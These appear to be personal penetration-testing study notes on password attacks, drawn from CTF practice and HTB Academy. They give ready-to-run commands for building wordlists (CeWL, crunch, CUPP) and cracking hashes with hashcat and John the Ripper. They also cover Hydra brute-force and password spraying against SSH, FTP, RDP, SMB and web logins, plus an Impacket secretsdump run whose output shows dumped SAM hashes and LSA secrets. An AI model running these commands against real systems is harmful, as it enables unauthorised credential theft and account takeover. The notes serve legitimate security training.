Passwords, Hashes and wordlist tools

Here is a how to for tools useful for passwords attack or generating wordlists Notes from my practice and HTB Academy

Cewl

Cewl can be used to generate a wordlist from a website, this can make you gain a lot of time and it was definitely helpful for me on a lot of CTF ;)

• cewl http://website/ > pass.txt

• cewl -w pass.txt -m 8 http://website -m 8 will specify to find words of 8 chars or more we can also use --lowecase

Username generator

During the enumeration phase we might find users last and first name. Username generator can use thoses to generate usernames.

• python3 username_generator.py -w wordlist > users.txt will send in users.txt a list o usernames generated with a wordlist

Crunch

Crunch will generate a word based on criterias you will need.

• crunch -h will show help and options

• Usage: crunch min max pattern -o outfile

• crunch 8 8 01234abcd -o pass.txt you will get a list of 8 chars word containing the chars in the pattern 01234abcd

• More advanced options

  • @ lower case alpha characters

  • , upper case alpha characters

  • % numeric characters

  • ^ special characters including space

• crunch 8 8 -t mypass%% will generate a list of 8 chars word with 2 digits in the end

Home made script

It can happen for instance that you know the begining of a password or a part of a password, you can use this script to generate 2 to 3 more digits at the end (you can modify it to put it anywhere else in the string) And of course we could use crunch as well.

# bin/bash
for i in {0..999}
do
 echo "mypassword"$i
done

CUPP

CUPP is a very cool tool that will ask you question about your target in order to generate a personnalized wordlist for your target. It can use different languages

• python3 cupp.py -i launch this to start answering question about the target

hash-identifier

• hash-identifier

• Enter your hash

• You will get a list of possible hashs

hashid

• hashid <hash-here>

• You will get a list of possible hashs

hashcat

• It is a tool that can help crack hashes using a wordlist.

• hashcat -h will print help

• hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

• the flag -m will define the hash mode see all modes here

• You can find also the proper module using this hashcat --help | grep <service-you-need> See the example below

┌──(root💀kali)-[~/active-directory]
└─# hashcat --help | grep Kerberos
  7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth            | Network Protocols
13100 | Kerberos 5, etype 23, TGS-REP                    | Network Protocols
18200 | Kerberos 5, etype 23, AS-REP                     | Network Protocols
19600 | Kerberos 5, etype 17, TGS-REP                    | Network Protocols
19700 | Kerberos 5, etype 18, TGS-REP                    | Network Protocols
19800 | Kerberos 5, etype 17, Pre-Auth                   | Network Protocols
19900 | Kerberos 5, etype 18, Pre-Auth                   | Network Protocols

• the flag -a will set the attack mode

• We can either give it a single hash or a file

• Adding --show will show the crack value if the hash is cracked

• We can use it for Brute-force attack: -a 3 will specify it is bruteforce ?d?d?d will use 3 digits from 000 to 999.

• Example: hashcat -a 3 -m 0 HASH-HERE ?d?d?d

Using hashcat with rules

Source: HTB Academy

Hashcat uses a specific syntax for defining characters and words and how they can be modified. The complete list of this syntax can be found in the official documentation of Hashcat. However, the ones listed below are enough for us to understand how Hashcat mutates words.

Function	Description
:	Do nothing.
l	Lowercase all letters.
u	Uppercase all letters.
c	Capitalize the first letter and lowercase others.
sXY	Replace all instances of X with Y.
$!	Add the exclamation character at the end.

Each rule is written on a new line which determines how the word should be mutated.

• In kali rules are located in /usr/share/hashcat/rules

• hashcat -a 0 -m 1000 <HASH-HERE> -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule /usr/share/wordlists/rockyou.txt

• hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list generate a new list mut_password.list from another list password.list and a rule file custom.rule

John the Ripper

Single Crack mode

Brute force attack.

• john --format=<hash_type> <hash or hash_file>

When we run the command, John will read the hashes from the specified file, and then it will try to crack them by comparing them to the words in its built-in wordlist and any additional wordlists specified with the --wordlist option. Additionally, It will use any rules set with the --rules option (if any rules are given) to generate further candidate passwords.

John will output the cracked passwords to the console and the file "john.pot" (~/.john/john.pot) in the current directory. Furthermore, it will continue cracking the remaining hashes in the background, and we can check the progress by running the john --show command. To maximize the chances of success, it is important to ensure that the wordlists and rules used are comprehensive and up to date.

Hash Format	Example Command	Description
afs	john --format=afs hashes_to_crack.txt	AFS (Andrew File System) password hashes
bfegg	john --format=bfegg hashes_to_crack.txt	bfegg hashes used in Eggdrop IRC bots
bf	john --format=bf hashes_to_crack.txt	Blowfish-based crypt(3) hashes
bsdi	john --format=bsdi hashes_to_crack.txt	BSDi crypt(3) hashes
crypt(3)	john --format=crypt hashes_to_crack.txt	Traditional Unix crypt(3) hashes
des	john --format=des hashes_to_crack.txt	Traditional DES-based crypt(3) hashes
dmd5	john --format=dmd5 hashes_to_crack.txt	DMD5 (Dragonfly BSD MD5) password hashes
dominosec	john --format=dominosec hashes_to_crack.txt	IBM Lotus Domino 6/7 password hashes
EPiServer SID hashes	john --format=episerver hashes_to_crack.txt	EPiServer SID (Security Identifier) password hashes
hdaa	john --format=hdaa hashes_to_crack.txt	hdaa password hashes used in Openwall GNU/Linux
hmac-md5	john --format=hmac-md5 hashes_to_crack.txt	hmac-md5 password hashes
hmailserver	john --format=hmailserver hashes_to_crack.txt	hmailserver password hashes
ipb2	john --format=ipb2 hashes_to_crack.txt	Invision Power Board 2 password hashes
krb4	john --format=krb4 hashes_to_crack.txt	Kerberos 4 password hashes
krb5	john --format=krb5 hashes_to_crack.txt	Kerberos 5 password hashes
LM	john --format=LM hashes_to_crack.txt	LM (Lan Manager) password hashes
lotus5	john --format=lotus5 hashes_to_crack.txt	Lotus Notes/Domino 5 password hashes
md4-gen	john --format=md4-gen hashes_to_crack.txt	Generic MD4 password hashes
md5	john --format=md5 hashes_to_crack.txt	MD5 password hashes
md5-gen	john --format=md5-gen hashes_to_crack.txt	Generic MD5 password hashes
mscash	john --format=mscash hashes_to_crack.txt	MS Cache password hashes
mscash2	john --format=mscash2 hashes_to_crack.txt	MS Cache v2 password hashes
mschapv2	john --format=mschapv2 hashes_to_crack.txt	MS CHAP v2 password hashes
mskrb5	john --format=mskrb5 hashes_to_crack.txt	MS Kerberos 5 password hashes
mssql05	john --format=mssql05 hashes_to_crack.txt	MS SQL 2005 password hashes
mssql	john --format=mssql hashes_to_crack.txt	MS SQL password hashes
mysql-fast	john --format=mysql-fast hashes_to_crack.txt	MySQL fast password hashes
mysql	john --format=mysql hashes_to_crack.txt	MySQL password hashes
mysql-sha1	john --format=mysql-sha1 hashes_to_crack.txt	MySQL SHA1 password hashes
NETLM	john --format=netlm hashes_to_crack.txt	NETLM (NT LAN Manager) password hashes
NETLMv2	john --format=netlmv2 hashes_to_crack.txt	NETLMv2 (NT LAN Manager version 2) password hashes
NETNTLM	john --format=netntlm hashes_to_crack.txt	NETNTLM (NT LAN Manager) password hashes
NETNTLMv2	john --format=netntlmv2 hashes_to_crack.txt	NETNTLMv2 (NT LAN Manager version 2) password hashes
NEThalfLM	john --format=nethalflm hashes_to_crack.txt	NEThalfLM (NT LAN Manager) password hashes
md5ns	john --format=md5ns hashes_to_crack.txt	md5ns (MD5 namespace) password hashes
nsldap	john --format=nsldap hashes_to_crack.txt	nsldap (OpenLDAP SHA) password hashes
ssha	john --format=ssha hashes_to_crack.txt	ssha (Salted SHA) password hashes
NT	john --format=nt hashes_to_crack.txt	NT (Windows NT) password hashes
openssha	john --format=openssha hashes_to_crack.txt	OPENSSH private key password hashes
oracle11	john --format=oracle11 hashes_to_crack.txt	Oracle 11 password hashes
oracle	john --format=oracle hashes_to_crack.txt	Oracle password hashes
pdf	john --format=pdf hashes_to_crack.txt	PDF (Portable Document Format) password hashes
phpass-md5	john --format=phpass-md5 hashes_to_crack.txt	PHPass-MD5 (Portable PHP password hashing framework) password hashes
phps	john --format=phps hashes_to_crack.txt	PHPS password hashes
pix-md5	john --format=pix-md5 hashes_to_crack.txt	Cisco PIX MD5 password hashes
po	john --format=po hashes_to_crack.txt	Po (Sybase SQL Anywhere) password hashes
rar	john --format=rar hashes_to_crack.txt	RAR (WinRAR) password hashes
raw-md4	john --format=raw-md4 hashes_to_crack.txt	Raw MD4 password hashes
raw-md5	john --format=raw-md5 hashes_to_crack.txt	Raw MD5 password hashes
raw-md5-unicode	john --format=raw-md5-unicode hashes_to_crack.txt	Raw MD5 Unicode password hashes
raw-sha1	john --format=raw-sha1 hashes_to_crack.txt	Raw SHA1 password hashes
raw-sha224	john --format=raw-sha224 hashes_to_crack.txt	Raw SHA224 password hashes
raw-sha256	john --format=raw-sha256 hashes_to_crack.txt	Raw SHA256 password hashes
raw-sha384	john --format=raw-sha384 hashes_to_crack.txt	Raw SHA384 password hashes
raw-sha512	john --format=raw-sha512 hashes_to_crack.txt	Raw SHA512 password hashes
salted-sha	john --format=salted-sha hashes_to_crack.txt	Salted SHA password hashes
sapb	john --format=sapb hashes_to_crack.txt	SAP CODVN B (BCODE) password hashes
sapg	john --format=sapg hashes_to_crack.txt	SAP CODVN G (PASSCODE) password hashes
sha1-gen	john --format=sha1-gen hashes_to_crack.txt	Generic SHA1 password hashes
skey	john --format=skey hashes_to_crack.txt	S/Key (One-time password) hashes
ssh	john --format=ssh hashes_to_crack.txt	SSH (Secure Shell) password hashes
sybasease	john --format=sybasease hashes_to_crack.txt	Sybase ASE password hashes
xsha	john --format=xsha hashes_to_crack.txt	xsha (Extended SHA) password hashes
zip	john --format=zip hashes_to_crack.txt	ZIP (WinZip) password hashes

Wordlist mode

• john --wordlist=<wordlist_file> --rules <hash_file> we can specify multiple lists

Incremental Mode

Incremental Mode is an advanced John mode used to crack passwords using a character set. It is a hybrid attack, which means it will attempt to match the password by trying all possible combinations of characters from the character set. This mode is the most effective yet most time-consuming of all the John modes. This mode works best when we know what the password might be, as it will try all the possible combinations in sequence, starting from the shortest one. This makes it much faster than the brute force attack, where all combinations are tried randomly. Moreover, the incremental mode can also be used to crack weak passwords, which may be challenging to crack using the standard John modes. The main difference between incremental mode and wordlist mode is the source of the password guesses. Incremental mode generates the guesses on the fly, while wordlist mode uses a predefined list of words. At the same time, the single crack mode is used to check a single password against a hash.

• john --incremental <hash_file> read the hashes in the specified hash file and then generate all possible combinations of characters, starting with a single character and incrementing with each iteration. The default character set is limited to a-zA-Z0-9. If we attempt to crack complex passwords with special characters, we need to use a custom character set.

Rule-Based Attack

• John the ripper has a config file that contains rule sets, which is located at /etc/john/john.conf or /opt/john/john.conf depending on your distro or how john was installed. You can read /etc/john/john.conf and look for List.Rules to see all the available rules: cat /etc/john/john.conf|grep "List.Rules:" | cut -d"." -f3 | cut -d":" -f2 | cut -d"]" -f1 | awk NF

• We can create a rule and add it to the conf file, for example this rule will add a symbol at the beginning of the word and a number at the end:

[List.Rules:My-own-rule]
Az"[0-9]" ^[!@#$]

Cracking files

<tool> <file_to_crack> > file.hash
pdf2john server_doc.pdf > server_doc.hash
john server_doc.hash
                # OR
john --wordlist=<wordlist.txt> server_doc.hash 

Tool	Description
pdf2john	Converts PDF documents for John
ssh2john	Converts SSH private keys for John
mscash2john	Converts MS Cash hashes for John
keychain2john	Converts OS X keychain files for John
rar2john	Converts RAR archives for John
pfx2john	Converts PKCS#12 files for John
truecrypt_volume2john	Converts TrueCrypt volumes for John
keepass2john	Converts KeePass databases for John
vncpcap2john	Converts VNC PCAP files for John
putty2john	Converts PuTTY private keys for John
zip2john	Converts ZIP archives for John
hccap2john	Converts WPA/WPA2 handshake captures for John
office2john	Converts MS Office documents for John
wpa2john	Converts WPA/WPA2 handshakes for John

• Find more tools with locate *2john*

Crackmapexec

• sudo apt-get -y install crackmapexec install

• crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist> usage

Hydra

• Hydra is a very handy tool for when you need to bruteforce auth. It supports a lot of protocols.

SSH

• hydra -L users -P pass 10.10.4.129 -t 4 ssh will use the user list and password list mentioned if you put minus l or minus p you can just specify one user or one password. OR

• hydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v

• hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10 Password spraying attack

FTP

• It is pretty much the same for ftp except you need to add ftp instead of ssh in the end: hydra -L users -P pass 10.10.4.129 -t 4 ftp if you have the username you can also do has follow hydra -l ftp -P passlist.txt ftp://10.10.x.x (we use ftp as the username)

SMTP

• hydra -l [e-mail] -P /path/to/wordlist.txt

HTTP logins

• hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f

RDP

• hydra -L user.list -P password.list rdp://10.129.42.197

SMB

• hydra -L user.list -P password.list smb://10.129.42.197

RDPassSpray

• Get it here. This tool allows you to perform attacks on RDP services

• python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026

Secretdump (Impacket)

• Get SAM hashes with SAM file, SECURITY file and SYSTEM file

┌──(kali㉿kali)-[~/Documents/offshore/joe-lpt]
└─$ secretsdump.py local -sam SAM -security SECURITY -system SYSTEM                                                                                                                  
Impacket v0.9.24.dev1+20210609.121058.90ce4b7d - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x8d1b3bcb293ec2bacf262ca05e9827c9
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:tso3b987b51404eeaad3b435b51404ee:49a159d455162a975ead15763e45817e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:97d6cfe0d16ae931b73c97d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c98d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7025790b5bb6b1c75aff52f9fd307ce1:::
user:1001:aad3b435b51404eeaad3b943b799354ee:4568151a41ac1b353f40f4dc7f90f19d:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x74fc9763584fe15e438782383249a92a395e18d5
dpapi_userkey:0x3fc57e5af5f687620a96c987638dca9c1dd382d3
[*] NL$KM 
 0000   0C EF 72 8A 43 7E B4 55  55 BE ED 92 C6 D9 01 11   ..r.C~.UU.......
 0010   DA 01 E1 C2 E3 83 93 D6  A9 B3 75 42 64 F6 43 86   ..........uBd.C.
 0020   4B 57 29 42 05 FF 94 D7  9E A9 44 9A DE 97 89 FB   KW)B......D.....
 0030   9E 0E A6 86 DB C9 2E 44  6E A7 08 29 D4 F4 FD 66   .......Dn..)...f
NL$KM:0cef728a437eb45555beed92c6d90111da01e1c2e38393d6a9b3754264f643864b98768792ff94d79ea9449ade9789fb9e0ea686dbc92e446ea93264d4f4fd66
[*] Cleaning up... 

• You can also work only with SAM and SYSTEM secretsdump.py local -sam SAM -system SYSTEM

Mentalist

• Mentalist is a graphical tool for custom wordlist generation. It utilizes common human paradigms for constructing passwords and can output the full wordlist as well as rules compatible with Hashcat and John the Ripper.

• Github

Resources

GitHub - digininja/CeWL: CeWL is a Custom Word List GeneratorGitHub

CeWL

GitHub - shroudri/username_generator: Create a list of possible usernames for bruteforcingGitHub

Username Generator

crunch | Kali Linux ToolsKali Linux

Crunch

GitHub - Mebus/cupp: Common User Passwords Profiler (CUPP)GitHub

CUPP - Common User Passwords Profiler

hash-identifier | Kali Linux ToolsKali Linux

hash-identifier on kali

Getting started | Hydra

Hydra